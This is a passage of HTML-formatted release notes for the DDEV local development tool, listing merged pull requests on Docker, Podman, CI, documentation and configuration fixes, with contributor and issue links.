data-hovercard-url="/ddev/ddev/pull/8464/hovercard" href="https://github.com/ddev/ddev/pull/8464">#8464</a></li>
<li>build: Fix gomt error that crept in [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721491247" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8509" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8509/hovercard" href="https://github.com/ddev/ddev/pull/8509">#8509</a></li>
<li>test: Add script to compare start time performance [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721622618" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8510" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8510/hovercard" href="https://github.com/ddev/ddev/pull/8510">#8510</a></li>
<li>test(quickstart): remove pin for <code>@sveltejs/adapter-node</code>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701858950" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8497" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8497/hovercard" href="https://github.com/ddev/ddev/pull/8497">#8497</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723621004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8511" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8511/hovercard" href="https://github.com/ddev/ddev/pull/8511">#8511</a></li>
<li>ci(github): add brew sandbox setup, remove obsolete env, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642259004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8469" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8469/hovercard" href="https://github.com/ddev/ddev/pull/8469">#8469</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4724822655" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8512" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8512/hovercard" href="https://github.com/ddev/ddev/pull/8512">#8512</a></li>
<li>fix(mysql): guard ENV HOME injection to db context only, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721459214" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8508" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8508/hovercard" href="https://github.com/ddev/ddev/issues/8508">#8508</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4725527190" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8513" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8513/hovercard" href="https://github.com/ddev/ddev/pull/8513">#8513</a></li>
<li>fix(docker): do not cache build on start, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549207054" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8433" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8433/hovercard" href="https://github.com/ddev/ddev/issues/8433">#8433</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718896990" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8506" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8506/hovercard" href="https://github.com/ddev/ddev/pull/8506">#8506</a></li>
<li>feat(drupal): Support new dr command built into drupal11.4+, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710077190" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8500" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8500/hovercard" href="https://github.com/ddev/ddev/issues/8500">#8500</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720878653" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8507" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8507/hovercard" href="https://github.com/ddev/ddev/pull/8507">#8507</a></li>
<li>fix(dbeaver): Add flatpak user binary path to search list, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4727881183" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8517" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8517/hovercard" href="https://github.com/ddev/ddev/issues/8517">#8517</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nickchomey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nickchomey">@nickchomey</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4727903372" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8518" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8518/hovercard" href="https://github.com/ddev/ddev/pull/8518">#8518</a></li>
<li>refactor(auth-ssh): remove build step, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4711855724" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8501" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8501/hovercard" href="https://github.com/ddev/ddev/issues/8501">#8501</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4716695362" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8503" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8503/hovercard" href="https://github.com/ddev/ddev/pull/8503">#8503</a></li>
<li>feat: allow mutagen with use-hardened-images, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1163134802" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/3680" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/3680/hovercard" href="https://github.com/ddev/ddev/pull/3680">#3680</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4685988680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8491" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8491/hovercard" href="https://github.com/ddev/ddev/pull/8491">#8491</a></li>
<li>feat(docker): respect docker-buildx from snap on linux, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4727709566" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8515" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8515/hovercard" href="https://github.com/ddev/ddev/issues/8515">#8515</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728073401" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8519" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8519/hovercard" href="https://github.com/ddev/ddev/pull/8519">#8519</a></li>
<li>docs: replace newgrp with sg for docker group activation, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332343177" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8350" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8350/hovercard" href="https://github.com/ddev/ddev/issues/8350">#8350</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736396280" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8524" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8524/hovercard" href="https://github.com/ddev/ddev/pull/8524">#8524</a></li>
<li>fix(commands): correct case typo in <code>ddev sequelace</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733613998" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8521" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8521/hovercard" href="https://github.com/ddev/ddev/issues/8521">#8521</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733715228" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8522" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8522/hovercard" href="https://github.com/ddev/ddev/pull/8522">#8522</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mficzel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mficzel">@mficzel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733715228" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8522" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8522/hovercard" href="https://github.com/ddev/ddev/pull/8522">#8522</a></li>
<li>build(deps): bump moby and docker-compose by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736239790" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8523" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8523/hovercard" href="https://github.com/ddev/ddev/pull/8523">#8523</a></li>
<li>docs: skip codeberg, use stable link for docs in github workflows (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744327319" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8528" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8528/hovercard" href="https://github.com/ddev/ddev/pull/8528">#8528</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744327319" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8528" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8528/hovercard" href="https://github.com/ddev/ddev/pull/8528">#8528</a></li>
<li>build: remove pin for Node.js, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4557653464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8438" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8438/hovercard" href="https://github.com/ddev/ddev/pull/8438">#8438</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744191788" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8527" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8527/hovercard" href="https://github.com/ddev/ddev/pull/8527">#8527</a></li>
<li>fix(start): do not ask for poweroff with new ddev-ssh-agent, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732526980" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8520" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8520/hovercard" href="https://github.com/ddev/ddev/issues/8520">#8520</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4741864016" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8525" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8525/hovercard" href="https://github.com/ddev/ddev/pull/8525">#8525</a></li>
<li>ci(podman): update workflow for Podman 6 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4741982501" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8526" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8526/hovercard" href="https://github.com/ddev/ddev/pull/8526">#8526</a></li>
<li>fix(podman): restrict keep-id userns to Linux only, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4065154991" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8223" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8223/hovercard" href="https://github.com/ddev/ddev/issues/8223">#8223</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744330972" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8529" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8529/hovercard" href="https://github.com/ddev/ddev/issues/8529">#8529</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4727719482" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8516" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8516/hovercard" href="https://github.com/ddev/ddev/pull/8516">#8516</a></li>
<li>docs: Remove link to very old processwire thread (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4754222605" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8533" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8533/hovercard" href="https://github.com/ddev/ddev/pull/8533">#8533</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4754222605" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8533" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8533/hovercard" href="https://github.com/ddev/ddev/pull/8533">#8533</a></li>
<li>fix: continue when <code>#ddev-generated</code> is missing in generate config functions, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="636509327" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/2305" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/2305/hovercard" href="https://github.com/ddev/ddev/pull/2305">#2305</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753746905" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8532" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8532/hovercard" href="https://github.com/ddev/ddev/pull/8532">#8532</a></li>
<li>docs: Ignore winaero.com, cert expired [skip buildkite] (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4768471904" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8537" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8537/hovercard" href="https://github.com/ddev/ddev/pull/8537">#8537</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4768471904" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8537" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8537/hovercard" href="https://github.com/ddev/ddev/pull/8537">#8537</a></li>
<li>ci: add macOS Podman rootless Buildkite pipeline, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4065154991" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8223" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8223/hovercard" href="https://github.com/ddev/ddev/issues/8223">#8223</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749045585" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8530" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8530/hovercard" href="https://github.com/ddev/ddev/pull/8530">#8530</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749045585" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8530" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8530/hovercard" href="https://github.com/ddev/ddev/pull/8530">#8530</a></li>
<li>test(auth-ssh): harden ddevauthssh.expect against passphrase prompt race by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4767122944" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8536" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8536/hovercard" href="https://github.com/ddev/ddev/pull/8536">#8536</a></li>
<li>build: bump actions/cache from 5 to 6 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4769479389" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8538" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8538/hovercard" href="https://github.com/ddev/ddev/pull/8538">#8538</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4769479389" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8538" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8538/hovercard" href="https://github.com/ddev/ddev/pull/8538">#8538</a></li>
<li>fix: stop honoring XDG_CONFIG_HOME on Linux too, use DDEV_XDG_CONFIG_HOME, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4694586960" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8493" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8493/hovercard" href="https://github.com/ddev/ddev/issues/8493">#8493</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752549694" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8531" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8531/hovercard" href="https://github.com/ddev/ddev/pull/8531">#8531</a></li>
<li>fix: correct typos in global and project config comment docs (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780672518" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8541" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8541/hovercard" href="https://github.com/ddev/ddev/pull/8541">#8541</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780672518" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8541" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8541/hovercard" href="https://github.com/ddev/ddev/pull/8541">#8541</a></li>
<li>test: fix TestCheckForMultipleGlobalDdevDirs on Windows, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752549694" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8531" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8531/hovercard" href="https://github.com/ddev/ddev/pull/8531">#8531</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785182644" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8542" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8542/hovercard" href="https://github.com/ddev/ddev/pull/8542">#8542</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785182644" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8542" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8542/hovercard" href="https://github.com/ddev/ddev/pull/8542">#8542</a></li>
<li>feat: add x-ddev.omit-ddev-labels to skip com.ddev.* label injection, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390914107" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8389" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8389/hovercard" href="https://github.com/ddev/ddev/issues/8389">#8389</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4778206278" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8540" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8540/hovercard" href="https://github.com/ddev/ddev/pull/8540">#8540</a></li>
<li>build(docker): bump images to v1.25.3 for release, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785709464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8544" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8544/hovercard" href="https://github.com/ddev/ddev/issues/8544">#8544</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4787726460" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8547" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8547/hovercard" href="https://github.com/ddev/ddev/pull/8547">#8547</a></li>
<li>ci(buildkite): trim podman machine and run maintenance post-test (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795142426" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8551" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8551/hovercard" href="https://github.com/ddev/ddev/pull/8551">#8551</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795142426" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8551" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8551/hovercard" href="https://github.com/ddev/ddev/pull/8551">#8551</a></li>
<li>docs(typo3): require Camino theme, drop empty distribution prompt (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789962878" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8548" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8548/hovercard" href="https://github.com/ddev/ddev/pull/8548">#8548</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789962878" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8548" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8548/hovercard" href="https://github.com/ddev/ddev/pull/8548">#8548</a></li>
<li>docs(hosting): add guidance for Let's Encrypt failures by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonpugh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonpugh">@jonpugh</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785496062" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8543" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8543/hovercard" href="https://github.com/ddev/ddev/pull/8543">#8543</a></li>
<li>docs(docker): add Podman and Docker rootless setup, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549338538" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8434" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8434/hovercard" href="https://github.com/ddev/ddev/issues/8434">#8434</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4797374506" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8552" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8552/hovercard" href="https://github.com/ddev/ddev/pull/8552">#8552</a></li>
<li>ci(macos): untap pre-installed aws/tap before brew install by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4809536273" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8559" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8559/hovercard" href="https://github.com/ddev/ddev/pull/8559">#8559</a></li>
<li>docs(wsl2): use Ubuntu-26.04 instead of Ubuntu-24.04, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276951921" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8326" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8326/hovercard" href="https://github.com/ddev/ddev/issues/8326">#8326</a>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4436512981" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8408" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8408/hovercard" href="https://github.com/ddev/ddev/pull/8408">#8408</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4802996009" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8553" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8553/hovercard" href="https://github.com/ddev/ddev/pull/8553">#8553</a></li>
